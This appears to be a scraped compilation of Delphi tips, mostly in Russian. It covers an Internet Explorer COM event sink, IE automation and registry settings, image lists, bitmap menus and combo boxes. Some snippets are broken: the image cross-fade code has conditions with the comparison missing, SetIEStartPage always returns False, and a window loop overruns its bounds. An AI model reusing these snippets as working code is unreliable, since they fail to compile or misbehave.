       113: DoTitleChange(pdpParams^.rgvarg^[lpDispIds[0]].bstrval);
       250: DoBeforeNavigate2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
           POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^,
           POleVariant(pdpParams^.rgvarg^[lpDispIds[2]].pvarval)^,
           POleVariant(pdpParams^.rgvarg^[lpDispIds[3]].pvarval)^,
           POleVariant(pdpParams^.rgvarg^[lpDispIds[4]].pvarval)^,
           POleVariant(pdpParams^.rgvarg^[lpDispIds[5]].pvarval)^,
           pdpParams^.rgvarg^[lpDispIds[6]].pbool^);
       251: DoNewWindow2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].pdispval^),
           pdpParams^.rgvarg^[lpDispIds[1]].pbool^);
       252: DoNavigateComplete2(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
           POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^);
       253:
         begin
            // Special case handler. When Quit is called, IE is going away so we might 
           // as well unbind from the interface by calling disconnect. 
          DoOnQuit;
            //  Call disconnect 
          Disconnect;
         end;
       254: DoOnVisible(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
       255: DoOnToolBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
       256: DoOnMenuBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
       257: DoOnStatusBar(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
       258: DoOnFullScreen(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
       259: DoDocumentComplete(IDispatch(pdpParams^.rgvarg^[lpDispIds[0]].dispval),
           POleVariant(pdpParams^.rgvarg^[lpDispIds[1]].pvarval)^);
       260: DoOnTheaterMode(pdpParams^.rgvarg^[lpDispIds[0]].vbool);
     else
         // Have to idea of what event they are calling 
      result := DISP_E_MEMBERNOTFOUND;
     end;
   end
   else
      // Called with wrong flags 
    result := DISP_E_MEMBERNOTFOUND;
 end;
 constructor TIEEvents.Create(AOwner: TComponent);
 begin
   // Perform inherited 
  inherited Create(AOwner);
   // Set the event sink IID 
  FSinkIID := DWebBrowserEvents2;
 end;
 destructor TIEEvents.Destroy;
 begin
   // Disconnect 
  Disconnect;
   // Perform inherited 
  inherited Destroy;
 end;
 procedure TIEEvents.ConnectTo(Source: IWebBrowser2);
 var pvCPC: IConnectionPointContainer;
 begin
   // Disconnect from any currently connected event sink 
  Disconnect;
   // Query for the connection point container and desired connection point. 
  // On success, sink the connection point 
  OleCheck(Source.QueryInterface(IConnectionPointContainer, pvCPC));
   OleCheck(pvCPC.FindConnectionPoint(FSinkIID, FCP));
   OleCheck(FCP.Advise(Self, FCookie));
   // Update internal state variables 
  FSource := Source;
   // We are in a connected state 
  FConnected := True;
   // Release the temp interface 
  pvCPC := nil;
 end;
 procedure TIEEvents.Disconnect;
 begin
   // Do we have the IWebBrowser2 interface? 
  if Assigned(FSource) then
   begin
     try
         // Unadvise the connection point 
      OleCheck(FCP.Unadvise(FCookie));
         // Release the interfaces 
      FCP := nil;
       FSource := nil;
     except
       Pointer(FCP) := nil;
       Pointer(FSource) := nil;
     end;
   end;
   // Disconnected state 
  FConnected := False;
 end;
 procedure TIEEvents.DoStatusTextChange(const Text: WideString);
 begin
   // Call assigned event 
  if Assigned(FStatusTextChange) then FStatusTextChange(Self, Text);
 end;
 procedure TIEEvents.DoProgressChange(Progress: Integer; ProgressMax: Integer);
 begin
   // Call assigned event 
  if Assigned(FProgressChange) then FProgressChange(Self, Progress, ProgressMax);
 end;
 procedure TIEEvents.DoCommandStateChange(Command: Integer; Enable: WordBool);
 begin
   // Call assigned event 
  if Assigned(FCommandStateChange) then FCommandStateChange(Self, Command, Enable);
 end;
 procedure TIEEvents.DoDownloadBegin;
 begin
   // Call assigned event 
  if Assigned(FDownloadBegin) then FDownloadBegin(Self);
 end;
 procedure TIEEvents.DoDownloadComplete;
 begin
   // Call assigned event 
  if Assigned(FDownloadComplete) then FDownloadComplete(Self);
 end;
 procedure TIEEvents.DoTitleChange(const Text: WideString);
 begin
   // Call assigned event 
  if Assigned(FTitleChange) then FTitleChange(Self, Text);
 end;
 procedure TIEEvents.DoPropertyChange(const szProperty: WideString);
 begin
   // Call assigned event 
  if Assigned(FPropertyChange) then FPropertyChange(Self, szProperty);
 end;
 procedure TIEEvents.DoBeforeNavigate2(const pDisp: IDispatch; var URL: OleVariant; var Flags:
   OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant; var Headers: OleVariant; var Cancel: WordBool);
 begin
   // Call assigned event 
  if Assigned(FBeforeNavigate2) then FBeforeNavigate2(Self, pDisp, URL, Flags, TargetFrameName, PostData, Headers, Cancel);
 end;
 procedure TIEEvents.DoNewWindow2(var ppDisp: IDispatch; var Cancel: WordBool);
 var
   pvDisp: IDispatch;
 begin
   // Call assigned event 
  if Assigned(FNewWindow2) then
   begin
     if Assigned(ppDisp) then
       pvDisp := ppDisp
     else
       pvDisp := nil;
     FNewWindow2(Self, pvDisp, Cancel);
     ppDisp := pvDisp;
   end;
 end;
 procedure TIEEvents.DoNavigateComplete2(const pDisp: IDispatch; var URL: OleVariant);
 begin
   // Call assigned event 
  if Assigned(FNavigateComplete2) then FNavigateComplete2(Self, pDisp, URL);
 end;
 procedure TIEEvents.DoDocumentComplete(const pDisp: IDispatch; var URL: OleVariant);
 begin
   // Call assigned event 
  if Assigned(FDocumentComplete) then FDocumentComplete(Self, pDisp, URL);
 end;
 procedure TIEEvents.DoOnQuit;
 begin
   // Call assigned event 
  if Assigned(FOnQuit) then FOnQuit(Self);
 end;
 procedure TIEEvents.DoOnVisible(Visible: WordBool);
 begin
   // Call assigned event 
  if Assigned(FOnVisible) then FOnVisible(Self, Visible);
 end;
 procedure TIEEvents.DoOnToolBar(ToolBar: WordBool);
 begin
   // Call assigned event 
  if Assigned(FOnToolBar) then FOnToolBar(Self, ToolBar);
 end;
 procedure TIEEvents.DoOnMenuBar(MenuBar: WordBool);
 begin
   // Call assigned event 
  if Assigned(FOnMenuBar) then FOnMenuBar(Self, MenuBar);
 end;
 procedure TIEEvents.DoOnStatusBar(StatusBar: WordBool);
 begin
   // Call assigned event 
  if Assigned(FOnStatusBar) then FOnStatusBar(Self, StatusBar);
 end;
 procedure TIEEvents.DoOnFullScreen(FullScreen: WordBool);
 begin
   // Call assigned event 
  if Assigned(FOnFullScreen) then FOnFullScreen(Self, FullScreen);
 end;
 procedure TIEEvents.DoOnTheaterMode(TheaterMode: WordBool);
 begin
   // Call assigned event 
  if Assigned(FOnTheaterMode) then FOnTheaterMode(Self, TheaterMode);
 end;
 procedure Register;
 begin
   // Register the component on the Internet tab of the IDE 
  RegisterComponents('Internet', [TIEEvents]);
 end;
 end.
 --- Project source ----
 //Notes: Add a button and the IEEvents component to Form1. The button1 click event 
// shows  how the IE enumeration is achieved, and shows how the binding is done: 
unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, IEEvents, StdCtrls, ActiveX, SHDocVw;
 type
   TForm1 = class(TForm)
     IEEvents1: TIEEvents;
     Button1: TButton;
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     procedure IEEvents1Quit(Sender: TObject);
     procedure IEEvents1DownloadBegin(Sender: TObject);
     procedure IEEvents1DownloadComplete(Sender: TObject);
     procedure Button1Click(Sender: TObject);
     procedure IEEvents1ProgressChange(Sender: TObject; Progress,
       ProgressMax: Integer);
   private
     { Private declarations }
     FTimeList: TList;
   public
     { Public declarations }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   pvShell: IShellWindows;
   pvWeb2: IWebBrowser2;
   ovIE: OleVariant;
   dwCount: Integer;
 begin
   // Create the shell windows interface 
  pvShell := CoShellWindows.Create;
   // Walk the internet explorer windows 
  for dwCount := 0 to Pred(pvShell.Count) do
   begin
      // Get the interface 
    ovIE := pvShell.Item(dwCount);
      // At this point you can evaluate the interface (LocationUrl, etc) 
     // to decide if this is the one you want to connect to. For demo purposes, 
     // the code will bind to the first one 
    ShowMessage(ovIE.LocationURL);
      // QI for the IWebBrowser2 
    if (IDispatch(ovIE).QueryInterface(IWebBrowser2, pvWeb2) = S_OK) then
     begin
       IEEvents1.ConnectTo(pvWeb2);
         // Release the interface 
      pvWeb2 := nil;
     end;
      // Clear the variant 
    ovIE := Unassigned;
      // Break if we connected 
    if IEEvents1.Connected then break;
   end;
   // Release the shell windows interface 
  pvShell := nil;
 end;
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   // Create the time list 
  FTimeList := TList.Create;
 end;
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   // Free the time list 
  FTimeList.Free;
 end;
 procedure TForm1.IEEvents1DownloadBegin(Sender: TObject);
 begin
   // Add the current time to the list 
  FTimeList.Add(Pointer(GetTickCount));
 end;
 procedure TForm1.IEEvents1DownloadComplete(Sender: TObject);
 var dwTime: LongWord;
 begin
   // Pull the top item off the list (make sure there is one) 
  if (FTimeList.Count > 0) then
   begin
     dwTime := LongWord(FTimeList[Pred(FTimeList.Count)]);
     FTimeList.Delete(Pred(FTimeList.Count));
      // Now calculate total based on current time 
    dwTime := GetTickCount - dwTime;
      // Display a message showing total download time 
    ShowMessage(Format('Download time for "%s" was %d ms', [IEEvents1.WebObj.LocationURL, dwTime]));
   end;
 end;
 procedure TForm1.IEEvents1Quit(Sender: TObject);
 begin
   ShowMessage('About to disconnect');
 end;
 procedure TForm1.IEEvents1ProgressChange(Sender: TObject; Progress,
   ProgressMax: Integer);
 begin
   Caption := IntToStr(Progress);
 end;
 end.

Контролирование IE при помощи OLE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses Comobj;
 {...}
 var
   Form1: TForm1;
   IEApp: OLEVariant;
 implementation
 {$R *.DFM}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   IEApp         := CreateOLEObject('InternetExplorer.Application');
   IEApp.Visible := True;
   IEApp.Top     := 0;
   IEApp.Left    := 0;
   IEApp.Width   := Screen.Width;
   IEApp.Height  := Screen.Height;
   IEApp.Navigate('http://www.swissdelphicenter.ch');
 end;
 { 
  To Close the Internet Explorer: 
  Um Internet Explorer beenden: 
}
 IEApp.Quit;
 { 
  Some other methods: 
  Einige andere Methoden: 
}
   IEApp.GoForward
   IEApp.GoBack
   IEApp.GoHome
   IEApp.Refresh
   IEApp.Stop
   IEApp.GoHome
   IEApp.FullScreen := true;
 { 
  To set some Properties: 
  Einige Eigenschaften setzen: 
}
   IEApp.StatusText := 'My Status Text';
 { 
  IEApp.Path       = Show Path to IE, Pfad anzeigen 
  IEApp.FullName    = Full Path to IE, voller Pfad zum IE 
  IEApp.LocationURL = Get active Url, Aktuelle URL 
}

Как добавить пункт в контекстное меню IE.

Автор: Mikel WEB-сайт: http://forum.vingrad.ru

В реестре по адресу:

HKEY_CURRENT_USER 
SOFTWARE 
Microsoft 
Internet Explorer 
MenuExt 

Два параметра, посмотришь на другие-поймешь что они означают.

Обновить все окна программы Internet Explorer.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses
  MSHTML_TLB, SHDocVw_TLB;
 procedure TForm1.Button1Click(Sender: TObject);
 var
  ShellWindow: IShellWindows;
  WB: IWebbrowser2;
  spDisp: IDispatch;
  IDoc1: IHTMLDocument2;
  k: Integer;
 begin
  ShellWindow := CoShellWindows.Create;
  for k := 0 to ShellWindow.Count do
  begin
    spDisp := ShellWindow.Item(k);
    if spDisp = nil then Continue;
    spDisp.QueryInterface(iWebBrowser2, WB);
    if WB <> nil then
    begin
      WB.Document.QueryInterface(IHTMLDocument2, iDoc1);
      if iDoc1 <> nil then
      begin
        WB := ShellWindow.Item(k) as IWebbrowser2;
        WB.Refresh;
      end;
    end;
  end;
 end;

Заставить IE перечитать установки из реестра.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  I've written a small app that modifies a setting for IE and need to somehow tell 
  IE to re-read the registry settings. 
  Does anyone know of an API call or message that will do this? 
}
 uses
   WinInet;
 procedure IE_Reread_Registry_Settings;
 var
   HInet: HINTERNET;
 begin
   hInet := InternetOpen(PChar('YourAppName'), INTERNET_OPEN_TYPE_DIRECT,
     nil, nil, INTERNET_FLAG_OFFLINE);
   try
     if hInet <> nil then
       InternetSetOption(hInet, INTERNET_OPTION_SETTINGS_CHANGED, nil, 0);
   finally
     InternetCloseHandle(hInet);
   end;
 end;

Как прочитать или изменить StartPage IE.

Автор: http://www.swissdelphicenter.ch

uses
  {...,} Registry;
function GetIEStartPage: string;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
    try
      Result := Reg.ReadString('Start Page');
    except
      Result := '';
    end;
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;
function SetIEStartPage(APage: string): Boolean;
var
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_CURRENT_USER;
    Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
    try
      Reg.WriteString('Start Page', APage);
      Result := True;
    finally
      Reg.CloseKey;
      Result := False;
    end;
  finally
    Reg.Free;
  end;
end;
// Show the Startpage
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(GetIEStartPage);
end;
// Set the Startpage
procedure TForm1.Button2Click(Sender: TObject);
begin
  SetIEStartPage('http://forum.vingrad.ru');
end;

Получить версию IE.

У программиста спросили: - Почему ваши дети все время ссорятся? - Конфликт версий.
uses 
  Registry; 
function GetIEVersion(Key: string): string; 
var 
  Reg: TRegistry; 
begin 
  Reg := TRegistry.Create; 
  try 
    Reg.RootKey := HKEY_LOCAL_MACHINE; 
    Reg.OpenKey('Software\Microsoft\Internet Explorer', False); 
    try 
      Result := Reg.ReadString(Key); 
    except 
      Result := ''; 
    end; 
    Reg.CloseKey; 
  finally 
    Reg.Free; 
  end; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ShowMessage('IE-Version: ' + GetIEVersion('Version')[1] + '.' 
    + GetIEVersion('Version')[3]); 
  ShowMessage('IE-Version: ' + GetIEVersion('Version')); 
  // <major version>.<minor version>.<build number>.<sub-build number> 
end;

Условие создания главной формы.

Автор: Neil Rubenking Существует ли в Delphi возможность создавать главную форму по условию? Я хочу использовать условие IF (в зависимости от передаваемого параметра) для того, чтобы определить какая форма будет главной при старте приложения. Фактически "другую" форму НЕ нужно будет загружать.

Хитрость здесь заключается в том, что мы предоставляем компилятору весь необходимый для создания форм код, но не допускаем его выполнения (IF FALSE THEN), при этом компилятор не ругается, а мы тем временем (во время выполнения приложения) выбираем и создаем главную форму. Вот пример кода, измененный .DPR-файл, который при старте случайным образом выбирает из друх форм главную:

begin
  if FALSE then
  begin
    Application.CreateForm(TForm1, Form1);
    Application.CreateForm(TForm2, Form2);
  end;
  Randomize;
  if Random < 0.5 then
    Application.CreateForm(TForm1, Form1)
  else
    Application.CreateForm(TForm2, Form2);
  Application.Run;
end.

Пара "подходящих" для CreateForm форм заключено в никогда не выполнимый блок, тем самым приводя компилятор в состояние свинячего восторга.

Получение одной строки из двух (функция подобная IIF в Foxpro).

Автор: Юрий WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение одной строки из двух (функция подобная IIF в Foxpro)
Функция подобная IIF в Foxpro возвращает одно из двух значений
Зависимости: нет
Автор:       Юрий, kynnew@pisem.net, Могилев
Copyright:   собственная
Дата:        26 апреля 2002 г.
***************************************************** }
// возвращает строку
function IIFStr(Expr: Boolean; Par1, Par2: string): string;
begin
  if Expr then
    Result := Par1
  else
    Result := Par2;
end;

Пример использования:

a = 5
IIFStr(a <> 0; 'Первая строка', 'Вторая строка'): string;
Result = Первая строка;

Перемещение иконок между несколькими TImageLists.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 var
   ico: TIcon;
 begin
   ico := TIcon.Create;
   try
     Imagelist1.GetIcon(0, ico); // Get first icon from Imagelist1 
    Imagelist2.AddIcon(ico); // Add the icon to Imagelist2 
  finally
     ico.Free;
   end;
 end;

Сохранить TImageList в файл со всеми картинками.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// There are ready-made methods for saving any component including all its children to a file. 
// For writing components use WriteComponentResFile(path + source filename , component name source) 
WriteComponentResFile('C:\imagelist1.bin',imagelist1);
 // For reading the data back to a component: 
// component := ReadComponentResFile(path + source filename , component name traget) 
imagelist1 := ReadComponentResFile('c:\imagelist1.bin', nil) as TImagelist;
 // Tip 1 - Reading the component will give the same name of the component written so don't try to 
// load it to another component, even if it was the same type. You will get a duplicate name and 
// delphi will crash. But you can jump over this as a programmer 
// Tip 2 - Get benfit of storing the heavy components inside compressed files, 
// so you can get smaller programs 

Элементы меню на основе изображений.

Автор: Neil Rubenking В своем меню я хочу иметь графику. Но как мне сделать это?

Воспользуйтесь командой ModifyMenu. Тем не менее, Delphi 1.0 имеет привычку СТИРАТЬ изменения в пунктах меню, к примеру, созданных на основе изображения или отрисованных вручную. Если вы пользуетесь этими "фишками", вы НЕ должны осуществлять enable/disable или check/uncheck элементов меню через свойства. Вместо этого вы должны вызывать соответствующие функции Windows API. Вот демонстрационный пример из моей книги Delphi Programming Problem Solver, демонстрирующий элементы меню на основе изображений. Подразумевается, что вы создали форму и главное меню. Меню содержит пустое подменю File (необязательно) и меню верхнего уровня с именем Brush1. Ниже Brush1 вы должны иметь шесть пунктов подменю; их имена могут быть абстрактными, но в приведенном ниже коде они поименованы шестью стилями кисти. Вот сам код:

unit bitmenuu;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, ExtCtrls, Menus;
type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Brush1: TMenuItem;
    Horizontal1: TMenuItem;
    Vertical1: TMenuItem;
    FDiagonal1: TMenuItem;
    BDiagonal1: TMenuItem;
    Cross1: TMenuItem;
    DiagCross1: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure BrushStyleClick(Sender: TObject);
  private
    { Private declarations }
    Bitmaps: array[0..5] of TBitmap;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var
  N: Integer;
begin
  with Brush1 do
    for N := 0 to 5 do
    begin
      Bitmaps[N] := TBitmap.Create;
      with Bitmaps[N], Canvas do
      begin
        Width := 80;
        Height := 16;
        Brush.Color := clMenu;
        Rectangle(0, 0, 80, 16);
        Brush.Color := clMenuText;
        Brush.Style := TBrushStyle(N + 2);
        Rectangle(0, 0, 80, 16);
      end;
      ModifyMenu(Handle, N, MF_BYPOSITION or MF_BITMAP,
        GetMenuItemID(Handle, N), PChar(Bitmaps[N].Handle));
    end;
end;
procedure TForm1.BrushStyleClick(Sender: TObject);
var
  N: Integer;
begin
  with Brush1 do
    for N := 0 to Count - 1 do
{$IFDEF Win32}
      Items[N].Checked := Items[N] = Sender;
{$ELSE}
      if Items[N] = Sender then
        CheckMenuItem(Handle, N, MF_BYPOSITION or MF_CHECKED)
      else
        CheckMenuItem(Handle, N, MF_BYPOSITION or MF_UNCHECKED);
{$ENDIF}
  with Sender as TMenuItem do
    Brush.Style := TBrushStyle(Tag);
  Refresh;
end;
end.

OK, в обработчике события формы OnCreate мы создаем шесть изображений и используем ModifyMenu для их назначения каждому из шести пунктов подменю. В обработчике события OnClick мы, в зависимости от того используется Delphi 2.0 или нет, применяем ту или иную технологию установки атрибутов пункта меню. В Delphi 2.0 мы должны обойти все пункты меню и установить Checked в True только для тех пунктов, на которых щелкали мышью. В Delphi 1.0 мы должны воспользоваться API функцией CheckMenuItem. Попробуйте это!

Плавно превратить один рисунок в другой.

Статьи по Delphi (009)…
procedure TForm1.Button1Click(Sender: TObject);
const
  count = 100;
var
  i: integer;
  x, y: integer;
  bm, bm1, bm2: TBitMap;
  p1, p2, p: PByteArray;
  c: integer;
  k: integer;
begin
  bm := TBitMap.Create;
  bm1 := TBitMap.Create;
  bm2 := TBitMap.Create;
  bm1.LoadFromFile('Bitmap1.bmp');
  bm2.LoadFromFile('Bitmap2.bmp');
  if bm1.Height then
  begin
    bm.Height := bm1.Height;
    bm2.Height := bm1.Height;
  end
  else
  begin
    bm.Height := bm2.Height;
    bm1.Height := bm2.Height;
  end;
  if bm1.Width then
  begin
    bm.Width := bm1.Width;
    bm2.Width := bm1.Width;
  end
  else
  begin
    bm.Width := bm2.Width;
    bm1.Width := bm2.Width;
  end;
  bm.PixelFormat := pf24bit;
  bm1.PixelFormat := pf24bit;
  bm2.PixelFormat := pf24bit;
  Form1.Canvas.Draw(0, 0, bm1);
  for i := 1 to count - 1 do
  begin
    for y := 0 to bm.Height - 1 do
    begin
      p := bm.ScanLine[y];
      p1 := bm1.ScanLine[y];
      p2 := bm2.ScanLine[y];
      for x := 0 to bm.Width * 3 - 1 do
        p^[x] := round((p1^[x] * (count - i) + p2^[x] * i) / count);
    end;
    Form1.Canvas.Draw(0, 0, bm);
    Form1.Caption := IntToStr(round(i / count * 100)) + '%';
    Application.ProcessMessages;
    if Application.Terminated then
      break;
  end;
  Form1.Canvas.Draw(0, 0, bm2);
  Form1.Caption := 'done';
  bm1.Destroy; bm2.Destroy; bm.Destroy;
end;

Сканирование изображений.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

The setup program for Imaging (tool that ships with Windows > 98) installs the Image Scan control (OCX) and the 32-bit TWAIN DLLs. All you have to do is to import this ActiveX control in Delphi and generate a component wrapper: Import the ActiveX Control "Kodak Image Scan Control" (Select Component|Import ActiveX Control...) Now add a TImgScan Component from the Register "ActiveX" to your form. Change the following Properties in the Object Inspector: FileType = 3 - BMP_Bitmap PageOption = 4 - OverwritePages ScanTo = 2 - FileOnly {***} Das Setup Programm fьг Imaging (Ist bei Windows > 98 dabei) installiert das Bild Scanning Control (OCX) und die 32-bit TWAIN DLLs. Importiere das ActiveX-Control "Steuerung fьг Kodak-Bildscan". (Im Меnь Komponente, "ActiveX importieren" anklicken.) Dann "Steuerung fьг Kodak-Bildscan..." аиswдh1еn und den "Installieren..." Button anklicken. Fьgе nun eine "TImgScan" Komponente aus dem Register "ActiveX" auf dem Formular ein. Дndеге im Objektinspektor unter "ImgScan1" folgende Eigenschaften: FileType = 3 - BMP_Bitmap PageOption = 4 - OverwritePages ScanTo = 2 - FileOnly {***}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if imgScan1.ScannerAvailable then
     try
       imgScan1.Image := 'c:\Scanner.bmp';
       imgScan1.OpenScanner;
       imgScan1.Zoom := 100;
       imgScan1.StartScan;
       Application.ProcessMessages;
     finally
       imgScan1.CloseScanner;
       { Show the scanned image in Image1 }
       imgScan1.Picture.LoadFromFile(Image1.Image);
     end;
 end;

Как поместить картинки в ComboBox.

Статьи по Delphi (009)…

Делается это при помощи стиля ownerdraw, который присутствует в TComboBox. Нас интересуют два свойства этого стиля:

csOwnerDrawFixed - используется, если все битмапы имеют одинаковую высоту csOwnerDrawVariable - используется для битмапов с разной высотой

После того как стиль будет установлен на один из вышеперечисленных, то можно воспользоваться событием onDrawItem. Это событие возникает каждый раз, когда приложению необходимо нарисовать пункт в выпадающем списке (combo box). Событие определяется следующим образом:

procedure TForm1.ComboBox1DrawItem(Control: TWinControl; index: Integer;
Rect: TRect; State: TOwnerDrawState)
Control Элемент управления, содержащий пункт списка Index Номер элемента списка Rect прямоугольник, в котором будет отображён элемент списка State Состояние элемента: выбран, заблокирован или имеет фокус (odSelected, OdDisabled или OdFocused)

Если выпадающему списку был присвоен стиль csOwnerDrawFixed, то всё, что надо сделать, это написать процедуру, которая будет рисовать битмап и текст в событии onDrawItem.

Для выпадающего списка со стилем csOwnerDrawVariable необходимо пройти ещё одну дополнительную стадию. Заключается эта стадия в создании обработчика для события onMeasureItem. Это событие вызывается перед DrawItem, для того, чтобы Вы могли установить фактическую высоту для каждого элемента списка. Вот его определение:

procedure TForm1.ComboBox1MeasureItem(Control: TWinControl; index: Integer; 
var Height: Integer);
Control Элемент управления, содержащий пункт списка Index Номер элемента списка Height Собственно высота элемента списка с номером Index

От теории к практике

Создайте новое приложение. Разместите на форме combobox и imagelist (если Вы используете delphi 1, то Вам прийдётся хранить битмапы каким-то другим способом). В Object Inspector установите следующие свойства:

ComboBox1 -> Style -> csOwnerDrawFixed -> Чтобы мы могли контролировать рисованием элементов.

ComboBox1 -> Items -> Здесь можно добавить любые строки, которые будут отображаться рядом с битмапами. Чтобы каждый элемент имел описание к картинке.

ImageList1 -> Используйте редактор списка картинок (ImageList Editor) Добавьте битмапы в том порядке, в котором они будут отображаться в combobox, а так же проверьте, чтобы они были одного размера. Прозрачный цвет можно установить здесь же. Это картинки, которые появятся в выпадающем списке.

В заключение необходимо добавить следующий код для события onDrawItem:

procedure TForm1.ComboBox1DrawItem(Control: TWinControl; index:Integer;
Rect: TRect; State: TOwnerDrawState);
begin
  (* Заполняем прямоугольник *)
  combobox1.canvas.fillrect(rect);
  (* Рисуем сам битмап *)
  imagelist1.Draw(comboBox1.Canvas,rect.left,rect.top,index);
  (* Пишем текст после картинки *)
  combobox1.canvas.textout(rect.left+imagelist1.width+2,rect.top,
  combobox1.items[index]);
end;
Содержание.